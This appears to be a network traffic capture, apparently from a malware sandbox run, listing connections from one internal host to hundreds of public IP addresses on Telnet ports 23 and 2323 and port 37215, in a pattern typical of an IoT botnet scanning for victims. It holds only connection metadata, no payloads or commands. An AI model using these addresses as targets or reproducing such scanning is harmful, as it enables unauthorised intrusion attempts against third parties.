Nov 3, 2024 15:33:08.130808115 CET	4847	37215	192.168.2.14	41.89.39.131
Nov 3, 2024 15:33:08.130808115 CET	4833	23	192.168.2.14	60.29.125.166
Nov 3, 2024 15:33:08.130809069 CET	4847	37215	192.168.2.14	41.100.189.28
Nov 3, 2024 15:33:08.130808115 CET	4833	23	192.168.2.14	179.125.199.41
Nov 3, 2024 15:33:08.130809069 CET	4833	23	192.168.2.14	101.64.24.175
Nov 3, 2024 15:33:08.130808115 CET	4833	23	192.168.2.14	37.122.30.168
Nov 3, 2024 15:33:08.130809069 CET	4833	23	192.168.2.14	118.173.10.181
Nov 3, 2024 15:33:08.130810976 CET	4833	23	192.168.2.14	203.49.62.106
Nov 3, 2024 15:33:08.130809069 CET	4833	23	192.168.2.14	158.219.167.3
Nov 3, 2024 15:33:08.130810976 CET	4847	37215	192.168.2.14	41.167.73.232
Nov 3, 2024 15:33:08.130811930 CET	4847	37215	192.168.2.14	197.222.14.143
Nov 3, 2024 15:33:08.130810976 CET	4847	37215	192.168.2.14	197.198.169.177
Nov 3, 2024 15:33:08.130811930 CET	4833	23	192.168.2.14	193.206.35.236
Nov 3, 2024 15:33:08.130810976 CET	4847	37215	192.168.2.14	41.247.173.249
Nov 3, 2024 15:33:08.130810976 CET	4833	23	192.168.2.14	108.67.52.246
Nov 3, 2024 15:33:08.130811930 CET	4833	23	192.168.2.14	39.185.175.86
Nov 3, 2024 15:33:08.130810976 CET	4847	37215	192.168.2.14	41.252.162.200
Nov 3, 2024 15:33:08.130810976 CET	4847	37215	192.168.2.14	156.52.143.222
Nov 3, 2024 15:33:08.130810976 CET	4833	23	192.168.2.14	17.19.25.225
Nov 3, 2024 15:33:08.130810976 CET	4847	37215	192.168.2.14	197.200.139.60
Nov 3, 2024 15:33:08.130810976 CET	4833	23	192.168.2.14	209.95.67.218
Nov 3, 2024 15:33:08.130812883 CET	4847	37215	192.168.2.14	156.33.167.130
Nov 3, 2024 15:33:08.130810976 CET	4847	37215	192.168.2.14	41.165.202.25
Nov 3, 2024 15:33:08.130810976 CET	4833	23	192.168.2.14	211.213.207.236
Nov 3, 2024 15:33:08.130810976 CET	4847	37215	192.168.2.14	197.63.102.150
Nov 3, 2024 15:33:08.130812883 CET	4833	23	192.168.2.14	100.137.78.33
Nov 3, 2024 15:33:08.130810976 CET	4833	23	192.168.2.14	8.209.98.41
Nov 3, 2024 15:33:08.130811930 CET	4833	2323	192.168.2.14	110.41.214.179
Nov 3, 2024 15:33:08.130810976 CET	36386	23	192.168.2.14	174.221.250.49
Nov 3, 2024 15:33:08.130811930 CET	4847	37215	192.168.2.14	197.61.250.24
Nov 3, 2024 15:33:08.130810976 CET	4833	23	192.168.2.14	180.250.172.32
Nov 3, 2024 15:33:08.130812883 CET	4833	23	192.168.2.14	183.63.35.86
Nov 3, 2024 15:33:08.130810976 CET	4847	37215	192.168.2.14	197.113.138.220
Nov 3, 2024 15:33:08.130812883 CET	4847	37215	192.168.2.14	156.185.120.71
Nov 3, 2024 15:33:08.130810976 CET	4833	23	192.168.2.14	161.2.127.18
Nov 3, 2024 15:33:08.130810976 CET	4847	37215	192.168.2.14	197.224.213.14
Nov 3, 2024 15:33:08.130812883 CET	4847	37215	192.168.2.14	156.180.117.120
Nov 3, 2024 15:33:08.130810976 CET	4847	37215	192.168.2.14	197.252.53.134
Nov 3, 2024 15:33:08.130810976 CET	4833	23	192.168.2.14	14.42.23.174
Nov 3, 2024 15:33:08.130810976 CET	4847	37215	192.168.2.14	41.246.18.109
Nov 3, 2024 15:33:08.130812883 CET	4833	23	192.168.2.14	157.205.55.75
Nov 3, 2024 15:33:08.130857944 CET	4847	37215	192.168.2.14	156.7.255.73
Nov 3, 2024 15:33:08.130857944 CET	4833	2323	192.168.2.14	8.75.232.212
Nov 3, 2024 15:33:08.130857944 CET	4833	23	192.168.2.14	60.103.180.167
Nov 3, 2024 15:33:08.130857944 CET	4833	23	192.168.2.14	160.255.41.182
Nov 3, 2024 15:33:08.130857944 CET	4847	37215	192.168.2.14	41.185.91.218
Nov 3, 2024 15:33:08.130857944 CET	4847	37215	192.168.2.14	41.101.202.145
Nov 3, 2024 15:33:08.130860090 CET	4833	23	192.168.2.14	112.111.71.203
Nov 3, 2024 15:33:08.130860090 CET	4833	23	192.168.2.14	156.132.129.61
Nov 3, 2024 15:33:08.130860090 CET	4833	23	192.168.2.14	184.236.153.66
Nov 3, 2024 15:33:08.130861998 CET	4833	23	192.168.2.14	100.136.88.194
Nov 3, 2024 15:33:08.130861998 CET	4847	37215	192.168.2.14	156.24.16.54
Nov 3, 2024 15:33:08.130861998 CET	4833	2323	192.168.2.14	158.166.134.181
Nov 3, 2024 15:33:08.130861998 CET	4833	23	192.168.2.14	165.210.218.82
Nov 3, 2024 15:33:08.130861998 CET	4833	2323	192.168.2.14	190.240.153.79
Nov 3, 2024 15:33:08.130865097 CET	4833	23	192.168.2.14	167.242.166.119
Nov 3, 2024 15:33:08.130861998 CET	4833	23	192.168.2.14	194.253.164.235
Nov 3, 2024 15:33:08.130865097 CET	4847	37215	192.168.2.14	197.236.111.200
Nov 3, 2024 15:33:08.130861998 CET	4833	23	192.168.2.14	110.113.197.165
Nov 3, 2024 15:33:08.130865097 CET	4847	37215	192.168.2.14	41.4.223.132
Nov 3, 2024 15:33:08.130865097 CET	4833	23	192.168.2.14	43.248.59.60
Nov 3, 2024 15:33:08.130863905 CET	4847	37215	192.168.2.14	197.4.89.144
Nov 3, 2024 15:33:08.130865097 CET	4847	37215	192.168.2.14	156.20.204.221
Nov 3, 2024 15:33:08.130863905 CET	4833	23	192.168.2.14	136.17.33.109
Nov 3, 2024 15:33:08.130861998 CET	4847	37215	192.168.2.14	156.60.252.109
Nov 3, 2024 15:33:08.130865097 CET	4847	37215	192.168.2.14	197.132.249.55
Nov 3, 2024 15:33:08.130861998 CET	4833	23	192.168.2.14	38.242.216.202
Nov 3, 2024 15:33:08.130861998 CET	4833	23	192.168.2.14	157.63.221.82
Nov 3, 2024 15:33:08.130861998 CET	4847	37215	192.168.2.14	197.144.66.147
Nov 3, 2024 15:33:08.130861998 CET	4833	23	192.168.2.14	212.129.169.118
Nov 3, 2024 15:33:08.130861998 CET	4847	37215	192.168.2.14	197.104.232.190
Nov 3, 2024 15:33:08.130863905 CET	4833	23	192.168.2.14	159.63.218.245
Nov 3, 2024 15:33:08.130865097 CET	4833	23	192.168.2.14	197.64.12.140
Nov 3, 2024 15:33:08.130862951 CET	4847	37215	192.168.2.14	41.139.83.15
Nov 3, 2024 15:33:08.130865097 CET	4847	37215	192.168.2.14	156.103.213.177
Nov 3, 2024 15:33:08.130863905 CET	4833	23	192.168.2.14	20.93.241.132
Nov 3, 2024 15:33:08.130865097 CET	4833	23	192.168.2.14	9.121.146.234
Nov 3, 2024 15:33:08.130865097 CET	4833	23	192.168.2.14	182.123.132.9
Nov 3, 2024 15:33:08.130865097 CET	4833	23	192.168.2.14	210.72.30.91
Nov 3, 2024 15:33:08.130865097 CET	4847	37215	192.168.2.14	156.26.160.10
Nov 3, 2024 15:33:08.130865097 CET	4833	23	192.168.2.14	120.19.119.178
Nov 3, 2024 15:33:08.130865097 CET	4833	23	192.168.2.14	176.139.53.243
Nov 3, 2024 15:33:08.130865097 CET	4847	37215	192.168.2.14	197.249.238.143
Nov 3, 2024 15:33:08.130863905 CET	4847	37215	192.168.2.14	197.252.0.132
Nov 3, 2024 15:33:08.130866051 CET	4833	23	192.168.2.14	94.116.75.86
Nov 3, 2024 15:33:08.130863905 CET	4847	37215	192.168.2.14	41.145.214.194
Nov 3, 2024 15:33:08.130863905 CET	4833	23	192.168.2.14	203.154.247.34
Nov 3, 2024 15:33:08.130863905 CET	4847	37215	192.168.2.14	156.128.165.157
Nov 3, 2024 15:33:08.130892992 CET	4847	37215	192.168.2.14	197.127.217.21
Nov 3, 2024 15:33:08.130892992 CET	4847	37215	192.168.2.14	197.6.11.239
Nov 3, 2024 15:33:08.130893946 CET	4847	37215	192.168.2.14	156.187.144.140
Nov 3, 2024 15:33:08.130893946 CET	4847	37215	192.168.2.14	197.95.13.199
Nov 3, 2024 15:33:08.130893946 CET	4847	37215	192.168.2.14	41.181.145.43
Nov 3, 2024 15:33:08.130893946 CET	4833	23	192.168.2.14	130.21.226.6
Nov 3, 2024 15:33:08.130894899 CET	4847	37215	192.168.2.14	197.161.166.107
Nov 3, 2024 15:33:08.130893946 CET	4833	23	192.168.2.14	78.164.168.234
Nov 3, 2024 15:33:08.130893946 CET	4833	23	192.168.2.14	94.195.0.243
Nov 3, 2024 15:33:08.130894899 CET	4847	37215	192.168.2.14	41.32.129.68
Nov 3, 2024 15:33:08.130893946 CET	4833	23	192.168.2.14	110.75.231.14
Nov 3, 2024 15:33:08.130894899 CET	4847	37215	192.168.2.14	197.116.166.42
Nov 3, 2024 15:33:08.130893946 CET	4847	37215	192.168.2.14	41.60.227.208
Nov 3, 2024 15:33:08.130896091 CET	4847	37215	192.168.2.14	156.114.239.47
Nov 3, 2024 15:33:08.130894899 CET	4847	37215	192.168.2.14	41.225.222.72
Nov 3, 2024 15:33:08.130897045 CET	4847	37215	192.168.2.14	41.195.53.248
Nov 3, 2024 15:33:08.130894899 CET	4833	23	192.168.2.14	181.16.119.140
Nov 3, 2024 15:33:08.130897045 CET	4847	37215	192.168.2.14	197.108.199.185
Nov 3, 2024 15:33:08.130893946 CET	4847	37215	192.168.2.14	156.210.104.102
Nov 3, 2024 15:33:08.130896091 CET	4847	37215	192.168.2.14	197.156.105.213
Nov 3, 2024 15:33:08.130894899 CET	4847	37215	192.168.2.14	41.96.239.64
Nov 3, 2024 15:33:08.130897045 CET	4847	37215	192.168.2.14	41.100.211.61
Nov 3, 2024 15:33:08.130897045 CET	4847	37215	192.168.2.14	41.167.128.170
Nov 3, 2024 15:33:08.130896091 CET	4847	37215	192.168.2.14	41.128.112.60
Nov 3, 2024 15:33:08.130897045 CET	4847	37215	192.168.2.14	41.255.95.108
Nov 3, 2024 15:33:08.130904913 CET	4847	37215	192.168.2.14	41.15.200.161
Nov 3, 2024 15:33:08.130897045 CET	4847	37215	192.168.2.14	156.38.243.180
Nov 3, 2024 15:33:08.130904913 CET	4847	37215	192.168.2.14	41.129.81.200
Nov 3, 2024 15:33:08.130897045 CET	4847	37215	192.168.2.14	197.151.89.24
Nov 3, 2024 15:33:08.130914927 CET	4847	37215	192.168.2.14	197.184.107.104
Nov 3, 2024 15:33:08.130917072 CET	4847	37215	192.168.2.14	156.108.32.105
Nov 3, 2024 15:33:08.130917072 CET	4847	37215	192.168.2.14	41.17.74.220
Nov 3, 2024 15:33:08.130918980 CET	4847	37215	192.168.2.14	41.58.52.157
Nov 3, 2024 15:33:08.130918980 CET	4847	37215	192.168.2.14	41.34.75.124
Nov 3, 2024 15:33:08.130925894 CET	4847	37215	192.168.2.14	41.194.122.74
Nov 3, 2024 15:33:08.130925894 CET	4847	37215	192.168.2.14	156.162.96.187
Nov 3, 2024 15:33:08.130927086 CET	4847	37215	192.168.2.14	197.10.48.83
Nov 3, 2024 15:33:08.130927086 CET	4847	37215	192.168.2.14	197.6.87.220
Nov 3, 2024 15:33:08.130925894 CET	4847	37215	192.168.2.14	156.19.114.46
Nov 3, 2024 15:33:08.130927086 CET	4847	37215	192.168.2.14	156.39.117.86
Nov 3, 2024 15:33:08.130925894 CET	4847	37215	192.168.2.14	156.126.75.142
Nov 3, 2024 15:33:08.130927086 CET	4847	37215	192.168.2.14	41.36.61.172
Nov 3, 2024 15:33:08.130928040 CET	4847	37215	192.168.2.14	41.6.186.151
Nov 3, 2024 15:33:08.130925894 CET	4847	37215	192.168.2.14	156.40.85.17
Nov 3, 2024 15:33:08.130928993 CET	4847	37215	192.168.2.14	41.150.124.142
Nov 3, 2024 15:33:08.130928040 CET	4847	37215	192.168.2.14	197.58.178.173
Nov 3, 2024 15:33:08.130944967 CET	4847	37215	192.168.2.14	41.177.159.130
Nov 3, 2024 15:33:08.130944967 CET	4847	37215	192.168.2.14	197.7.232.195
Nov 3, 2024 15:33:08.130944967 CET	4833	23	192.168.2.14	48.135.174.125
Nov 3, 2024 15:33:08.130944967 CET	4847	37215	192.168.2.14	41.232.4.204
Nov 3, 2024 15:33:08.130944967 CET	4847	37215	192.168.2.14	197.186.169.82
Nov 3, 2024 15:33:08.130944967 CET	4847	37215	192.168.2.14	41.196.101.233
Nov 3, 2024 15:33:08.130951881 CET	4847	37215	192.168.2.14	156.191.8.119
Nov 3, 2024 15:33:08.130954027 CET	4847	37215	192.168.2.14	197.54.2.188
Nov 3, 2024 15:33:08.130954027 CET	4847	37215	192.168.2.14	197.52.47.198
Nov 3, 2024 15:33:08.130954027 CET	4847	37215	192.168.2.14	41.112.142.139
Nov 3, 2024 15:33:08.130954981 CET	4847	37215	192.168.2.14	156.32.142.131
Nov 3, 2024 15:33:08.130954027 CET	4847	37215	192.168.2.14	156.46.3.196
Nov 3, 2024 15:33:08.130954981 CET	4847	37215	192.168.2.14	197.68.77.120
Nov 3, 2024 15:33:08.130958080 CET	4847	37215	192.168.2.14	197.10.77.219
Nov 3, 2024 15:33:08.130958080 CET	4847	37215	192.168.2.14	156.239.129.125
Nov 3, 2024 15:33:08.130959034 CET	4847	37215	192.168.2.14	197.45.236.44
Nov 3, 2024 15:33:08.130963087 CET	4847	37215	192.168.2.14	197.190.96.137
Nov 3, 2024 15:33:08.130959034 CET	4847	37215	192.168.2.14	41.119.92.141
Nov 3, 2024 15:33:08.130963087 CET	4847	37215	192.168.2.14	197.228.131.168
Nov 3, 2024 15:33:08.130959034 CET	4847	37215	192.168.2.14	197.206.188.127
Nov 3, 2024 15:33:08.130964041 CET	4847	37215	192.168.2.14	156.118.251.79
Nov 3, 2024 15:33:08.130964041 CET	4847	37215	192.168.2.14	156.132.81.158
Nov 3, 2024 15:33:08.130964041 CET	4847	37215	192.168.2.14	41.207.11.76
Nov 3, 2024 15:33:08.130970955 CET	4847	37215	192.168.2.14	156.141.218.177
Nov 3, 2024 15:33:08.130974054 CET	4847	37215	192.168.2.14	197.159.124.237
Nov 3, 2024 15:33:08.130980015 CET	4847	37215	192.168.2.14	156.125.14.228
Nov 3, 2024 15:33:08.130980015 CET	4847	37215	192.168.2.14	156.242.165.194
Nov 3, 2024 15:33:08.130983114 CET	4847	37215	192.168.2.14	41.59.95.254
Nov 3, 2024 15:33:08.130985975 CET	4847	37215	192.168.2.14	197.116.70.197
Nov 3, 2024 15:33:08.130985975 CET	4847	37215	192.168.2.14	156.51.244.11
Nov 3, 2024 15:33:08.130987883 CET	4847	37215	192.168.2.14	156.20.143.152
Nov 3, 2024 15:33:08.130987883 CET	4847	37215	192.168.2.14	197.9.35.52
Nov 3, 2024 15:33:08.130989075 CET	4847	37215	192.168.2.14	41.163.251.71
Nov 3, 2024 15:33:08.130989075 CET	4847	37215	192.168.2.14	156.54.30.221
Nov 3, 2024 15:33:08.131006002 CET	4847	37215	192.168.2.14	197.32.252.186
Nov 3, 2024 15:33:08.131006002 CET	4847	37215	192.168.2.14	41.5.98.175
Nov 3, 2024 15:33:08.131006002 CET	4847	37215	192.168.2.14	41.172.120.241
Nov 3, 2024 15:33:08.131009102 CET	4847	37215	192.168.2.14	156.57.224.73
Nov 3, 2024 15:33:08.131010056 CET	4847	37215	192.168.2.14	197.225.69.207
Nov 3, 2024 15:33:08.131011963 CET	4847	37215	192.168.2.14	41.206.65.215
Nov 3, 2024 15:33:08.131014109 CET	4847	37215	192.168.2.14	156.213.93.65
Nov 3, 2024 15:33:08.131014109 CET	4847	37215	192.168.2.14	197.176.49.188
Nov 3, 2024 15:33:08.131014109 CET	4847	37215	192.168.2.14	41.113.10.149
Nov 3, 2024 15:33:08.131014109 CET	4847	37215	192.168.2.14	197.2.70.242
Nov 3, 2024 15:33:08.131015062 CET	4847	37215	192.168.2.14	197.154.192.196
Nov 3, 2024 15:33:08.131015062 CET	4847	37215	192.168.2.14	156.214.187.100
Nov 3, 2024 15:33:08.131033897 CET	4847	37215	192.168.2.14	197.205.169.243
Nov 3, 2024 15:33:08.131033897 CET	4847	37215	192.168.2.14	41.52.100.69
Nov 3, 2024 15:33:08.131035089 CET	4847	37215	192.168.2.14	41.36.208.219
Nov 3, 2024 15:33:08.131036043 CET	4847	37215	192.168.2.14	197.173.94.65
Nov 3, 2024 15:33:08.131036043 CET	4847	37215	192.168.2.14	156.137.161.161
Nov 3, 2024 15:33:08.131035089 CET	4847	37215	192.168.2.14	156.166.186.83
Nov 3, 2024 15:33:08.131036043 CET	4847	37215	192.168.2.14	156.162.81.240
Nov 3, 2024 15:33:08.131035089 CET	4847	37215	192.168.2.14	197.8.208.32
Nov 3, 2024 15:33:08.131036043 CET	4847	37215	192.168.2.14	156.233.54.15
Nov 3, 2024 15:33:08.131035089 CET	4847	37215	192.168.2.14	41.65.197.222
Nov 3, 2024 15:33:08.131036043 CET	4847	37215	192.168.2.14	156.92.80.67
Nov 3, 2024 15:33:08.131055117 CET	4847	37215	192.168.2.14	41.67.236.29
Nov 3, 2024 15:33:08.131055117 CET	4847	37215	192.168.2.14	156.70.131.59
Nov 3, 2024 15:33:08.131057024 CET	4847	37215	192.168.2.14	197.27.53.122
Nov 3, 2024 15:33:08.131057024 CET	4847	37215	192.168.2.14	197.172.155.155
Nov 3, 2024 15:33:08.131057978 CET	4847	37215	192.168.2.14	197.60.212.64
Nov 3, 2024 15:33:08.131057978 CET	4847	37215	192.168.2.14	41.187.230.32
Nov 3, 2024 15:33:08.131057978 CET	4847	37215	192.168.2.14	156.132.35.43
Nov 3, 2024 15:33:08.131061077 CET	4847	37215	192.168.2.14	41.224.222.207
Nov 3, 2024 15:33:08.131061077 CET	4847	37215	192.168.2.14	197.63.44.193
Nov 3, 2024 15:33:08.131061077 CET	4847	37215	192.168.2.14	41.138.51.245
Nov 3, 2024 15:33:08.131061077 CET	4847	37215	192.168.2.14	41.118.11.154
Nov 3, 2024 15:33:08.131063938 CET	4847	37215	192.168.2.14	156.94.106.134
Nov 3, 2024 15:33:08.131063938 CET	4847	37215	192.168.2.14	197.47.164.96
Nov 3, 2024 15:33:08.131063938 CET	4847	37215	192.168.2.14	156.184.102.219
Nov 3, 2024 15:33:08.131058931 CET	4847	37215	192.168.2.14	197.186.227.191
Nov 3, 2024 15:33:08.131063938 CET	4847	37215	192.168.2.14	41.81.219.178
Nov 3, 2024 15:33:08.131058931 CET	4847	37215	192.168.2.14	41.67.62.14
Nov 3, 2024 15:33:08.131072998 CET	4847	37215	192.168.2.14	197.198.78.45
Nov 3, 2024 15:33:08.131074905 CET	4847	37215	192.168.2.14	197.236.220.122
Nov 3, 2024 15:33:08.131076097 CET	4847	37215	192.168.2.14	41.48.80.64
Nov 3, 2024 15:33:08.131076097 CET	4847	37215	192.168.2.14	156.91.254.189
Nov 3, 2024 15:33:08.131074905 CET	4847	37215	192.168.2.14	41.26.120.72
Nov 3, 2024 15:33:08.131076097 CET	4847	37215	192.168.2.14	197.120.1.105
Nov 3, 2024 15:33:08.131076097 CET	4847	37215	192.168.2.14	197.38.127.23
Nov 3, 2024 15:33:08.131081104 CET	4847	37215	192.168.2.14	41.174.102.127
Nov 3, 2024 15:33:08.131076097 CET	4847	37215	192.168.2.14	156.253.94.37
Nov 3, 2024 15:33:08.131081104 CET	4847	37215	192.168.2.14	197.219.151.161
Nov 3, 2024 15:33:08.131084919 CET	4847	37215	192.168.2.14	197.126.10.6
Nov 3, 2024 15:33:08.131084919 CET	4847	37215	192.168.2.14	41.151.87.47
Nov 3, 2024 15:33:08.131089926 CET	4847	37215	192.168.2.14	156.216.166.192
Nov 3, 2024 15:33:08.131094933 CET	4847	37215	192.168.2.14	197.150.96.18
Nov 3, 2024 15:33:08.131094933 CET	4847	37215	192.168.2.14	41.183.30.53
Nov 3, 2024 15:33:08.131094933 CET	4847	37215	192.168.2.14	156.119.228.104
Nov 3, 2024 15:33:08.131094933 CET	4847	37215	192.168.2.14	197.154.100.25
Nov 3, 2024 15:33:08.131097078 CET	4847	37215	192.168.2.14	197.71.114.178
Nov 3, 2024 15:33:08.131098032 CET	4847	37215	192.168.2.14	197.21.21.196
Nov 3, 2024 15:33:08.131103039 CET	4847	37215	192.168.2.14	197.70.15.97
Nov 3, 2024 15:33:08.131283045 CET	35530	37215	192.168.2.14	41.196.236.180
Nov 3, 2024 15:33:08.131283045 CET	35530	37215	192.168.2.14	41.196.236.180
Nov 3, 2024 15:33:08.131619930 CET	36356	37215	192.168.2.14	41.196.236.180
Nov 3, 2024 15:33:08.131978989 CET	52016	37215	192.168.2.14	41.37.66.5
Nov 3, 2024 15:33:08.131978989 CET	52016	37215	192.168.2.14	41.37.66.5
Nov 3, 2024 15:33:08.132262945 CET	52834	37215	192.168.2.14	41.37.66.5
Nov 3, 2024 15:33:08.132623911 CET	37256	37215	192.168.2.14	41.104.63.38
Nov 3, 2024 15:33:08.132623911 CET	37256	37215	192.168.2.14	41.104.63.38
Nov 3, 2024 15:33:08.132898092 CET	38072	37215	192.168.2.14	41.104.63.38
Nov 3, 2024 15:33:08.133238077 CET	45690	37215	192.168.2.14	41.247.161.60
Nov 3, 2024 15:33:08.133238077 CET	45690	37215	192.168.2.14	41.247.161.60
Nov 3, 2024 15:33:08.133487940 CET	46500	37215	192.168.2.14	41.247.161.60
Nov 3, 2024 15:33:08.133872986 CET	45970	37215	192.168.2.14	156.150.29.143
Nov 3, 2024 15:33:08.133872986 CET	45970	37215	192.168.2.14	156.150.29.143
Nov 3, 2024 15:33:08.134295940 CET	46796	37215	192.168.2.14	156.150.29.143
Nov 3, 2024 15:33:08.135834932 CET	23	58286	149.152.23.218	192.168.2.14
Nov 3, 2024 15:33:08.135855913 CET	23	4833	62.89.199.101	192.168.2.14
Nov 3, 2024 15:33:08.135898113 CET	4833	23	192.168.2.14	62.89.199.101
Nov 3, 2024 15:33:08.135906935 CET	2323	4833	168.229.172.43	192.168.2.14
Nov 3, 2024 15:33:08.135917902 CET	23	4833	203.247.80.159	192.168.2.14
Nov 3, 2024 15:33:08.135920048 CET	58286	23	192.168.2.14	149.152.23.218
Nov 3, 2024 15:33:08.135946035 CET	4833	2323	192.168.2.14	168.229.172.43
Nov 3, 2024 15:33:08.135946989 CET	4833	23	192.168.2.14	203.247.80.159
Nov 3, 2024 15:33:08.135951996 CET	23	4833	2.124.16.229	192.168.2.14
Nov 3, 2024 15:33:08.135962009 CET	2323	44788	145.150.251.97	192.168.2.14
Nov 3, 2024 15:33:08.135974884 CET	23	4833	61.209.48.55	192.168.2.14
Nov 3, 2024 15:33:08.135993958 CET	23	4833	74.69.229.25	192.168.2.14
Nov 3, 2024 15:33:08.135996103 CET	4833	23	192.168.2.14	2.124.16.229
Nov 3, 2024 15:33:08.136004925 CET	23	4833	143.255.29.143	192.168.2.14
Nov 3, 2024 15:33:08.136017084 CET	23	4833	139.171.249.122	192.168.2.14
Nov 3, 2024 15:33:08.136017084 CET	4833	23	192.168.2.14	61.209.48.55
Nov 3, 2024 15:33:08.136022091 CET	37215	4847	197.200.127.154	192.168.2.14
Nov 3, 2024 15:33:08.136035919 CET	4833	23	192.168.2.14	74.69.229.25
Nov 3, 2024 15:33:08.136039019 CET	37215	4847	197.222.130.234	192.168.2.14
Nov 3, 2024 15:33:08.136049986 CET	23	4833	128.243.125.20	192.168.2.14
Nov 3, 2024 15:33:08.136050940 CET	4833	23	192.168.2.14	139.171.249.122
Nov 3, 2024 15:33:08.136054039 CET	4833	23	192.168.2.14	143.255.29.143
Nov 3, 2024 15:33:08.136055946 CET	4847	37215	192.168.2.14	197.200.127.154
Nov 3, 2024 15:33:08.136066914 CET	37215	4847	197.53.160.110	192.168.2.14
Nov 3, 2024 15:33:08.136077881 CET	37215	4847	41.14.57.126	192.168.2.14
Nov 3, 2024 15:33:08.136084080 CET	4833	23	192.168.2.14	128.243.125.20
Nov 3, 2024 15:33:08.136084080 CET	4847	37215	192.168.2.14	197.222.130.234
Nov 3, 2024 15:33:08.136095047 CET	23	4833	119.78.111.22	192.168.2.14
Nov 3, 2024 15:33:08.136111021 CET	2323	4833	79.189.72.51	192.168.2.14
Nov 3, 2024 15:33:08.136121035 CET	37215	4847	41.14.37.113	192.168.2.14
Nov 3, 2024 15:33:08.136126041 CET	4847	37215	192.168.2.14	197.53.160.110
Nov 3, 2024 15:33:08.136131048 CET	4847	37215	192.168.2.14	41.14.57.126
Nov 3, 2024 15:33:08.136131048 CET	4833	23	192.168.2.14	119.78.111.22
Nov 3, 2024 15:33:08.136136055 CET	23	4833	172.51.142.115	192.168.2.14
Nov 3, 2024 15:33:08.136147022 CET	37215	4847	156.244.104.217	192.168.2.14
Nov 3, 2024 15:33:08.136147976 CET	4833	2323	192.168.2.14	79.189.72.51
Nov 3, 2024 15:33:08.136156082 CET	4847	37215	192.168.2.14	41.14.37.113
Nov 3, 2024 15:33:08.136157990 CET	23	4833	210.243.52.220	192.168.2.14
Nov 3, 2024 15:33:08.136168957 CET	37215	4847	197.12.141.193	192.168.2.14
Nov 3, 2024 15:33:08.136178017 CET	4833	23	192.168.2.14	172.51.142.115
Nov 3, 2024 15:33:08.136178017 CET	37215	4847	156.58.196.76	192.168.2.14
Nov 3, 2024 15:33:08.136185884 CET	4847	37215	192.168.2.14	156.244.104.217
Nov 3, 2024 15:33:08.136198997 CET	4833	23	192.168.2.14	210.243.52.220
Nov 3, 2024 15:33:08.136202097 CET	23	4833	161.186.228.88	192.168.2.14
Nov 3, 2024 15:33:08.136203051 CET	4847	37215	192.168.2.14	197.12.141.193
Nov 3, 2024 15:33:08.136212111 CET	37215	4847	41.156.32.14	192.168.2.14
Nov 3, 2024 15:33:08.136214972 CET	4847	37215	192.168.2.14	156.58.196.76
Nov 3, 2024 15:33:08.136220932 CET	23	4833	36.170.138.102	192.168.2.14
Nov 3, 2024 15:33:08.136230946 CET	37215	4847	197.40.97.9	192.168.2.14
Nov 3, 2024 15:33:08.136240959 CET	23	4833	162.148.92.79	192.168.2.14
Nov 3, 2024 15:33:08.136250973 CET	23	4833	58.141.245.145	192.168.2.14
Nov 3, 2024 15:33:08.136253119 CET	4833	23	192.168.2.14	161.186.228.88
Nov 3, 2024 15:33:08.136253119 CET	4847	37215	192.168.2.14	41.156.32.14
Nov 3, 2024 15:33:08.136260033 CET	4833	23	192.168.2.14	36.170.138.102
Nov 3, 2024 15:33:08.136261940 CET	37215	4847	41.73.145.143	192.168.2.14
Nov 3, 2024 15:33:08.136266947 CET	4847	37215	192.168.2.14	197.40.97.9
Nov 3, 2024 15:33:08.136274099 CET	23	54836	144.82.75.132	192.168.2.14
Nov 3, 2024 15:33:08.136277914 CET	4833	23	192.168.2.14	162.148.92.79
Nov 3, 2024 15:33:08.136284113 CET	4833	23	192.168.2.14	58.141.245.145
Nov 3, 2024 15:33:08.136286020 CET	23	52638	9.207.19.141	192.168.2.14
Nov 3, 2024 15:33:08.136290073 CET	4847	37215	192.168.2.14	41.73.145.143
Nov 3, 2024 15:33:08.136296988 CET	23	46586	122.80.73.254	192.168.2.14
Nov 3, 2024 15:33:08.136341095 CET	59082	23	192.168.2.14	149.152.23.218
Nov 3, 2024 15:33:08.136794090 CET	46586	23	192.168.2.14	122.80.73.254
Nov 3, 2024 15:33:08.136801958 CET	37215	4847	156.173.6.170	192.168.2.14
Nov 3, 2024 15:33:08.136814117 CET	23	4833	200.158.220.110	192.168.2.14
Nov 3, 2024 15:33:08.136826992 CET	37215	4847	156.141.61.80	192.168.2.14
Nov 3, 2024 15:33:08.136837006 CET	37215	37256	41.104.63.38	192.168.2.14
Nov 3, 2024 15:33:08.136841059 CET	4847	37215	192.168.2.14	156.173.6.170
Nov 3, 2024 15:33:08.136856079 CET	23	4833	197.151.98.155	192.168.2.14
Nov 3, 2024 15:33:08.136867046 CET	37215	4847	156.116.193.70	192.168.2.14
Nov 3, 2024 15:33:08.136877060 CET	37215	4847	156.230.176.53	192.168.2.14
Nov 3, 2024 15:33:08.136878014 CET	4847	37215	192.168.2.14	156.141.61.80
Nov 3, 2024 15:33:08.136878014 CET	4833	23	192.168.2.14	200.158.220.110
Nov 3, 2024 15:33:08.136878014 CET	54836	23	192.168.2.14	144.82.75.132
Nov 3, 2024 15:33:08.136884928 CET	52638	23	192.168.2.14	9.207.19.141
Nov 3, 2024 15:33:08.136887074 CET	44788	2323	192.168.2.14	145.150.251.97
Nov 3, 2024 15:33:08.136887074 CET	4833	23	192.168.2.14	197.151.98.155
Nov 3, 2024 15:33:08.136888981 CET	37215	4847	197.13.1.213	192.168.2.14
Nov 3, 2024 15:33:08.136892080 CET	37256	37215	192.168.2.14	41.104.63.38
Nov 3, 2024 15:33:08.136898994 CET	23	4833	114.45.218.172	192.168.2.14
Nov 3, 2024 15:33:08.136909008 CET	4847	37215	192.168.2.14	156.116.193.70
Nov 3, 2024 15:33:08.136914968 CET	4847	37215	192.168.2.14	156.230.176.53
Nov 3, 2024 15:33:08.136914968 CET	4847	37215	192.168.2.14	197.13.1.213
Nov 3, 2024 15:33:08.136917114 CET	37215	4847	156.1.212.225	192.168.2.14
Nov 3, 2024 15:33:08.136929035 CET	37215	52016	41.37.66.5	192.168.2.14
Nov 3, 2024 15:33:08.136938095 CET	37215	4847	41.216.165.232	192.168.2.14
Nov 3, 2024 15:33:08.136938095 CET	4833	23	192.168.2.14	114.45.218.172
Nov 3, 2024 15:33:08.136948109 CET	23	4833	68.236.201.84	192.168.2.14
Nov 3, 2024 15:33:08.136955023 CET	4847	37215	192.168.2.14	156.1.212.225
Nov 3, 2024 15:33:08.136955023 CET	52016	37215	192.168.2.14	41.37.66.5
Nov 3, 2024 15:33:08.136956930 CET	37215	4847	41.78.4.178	192.168.2.14
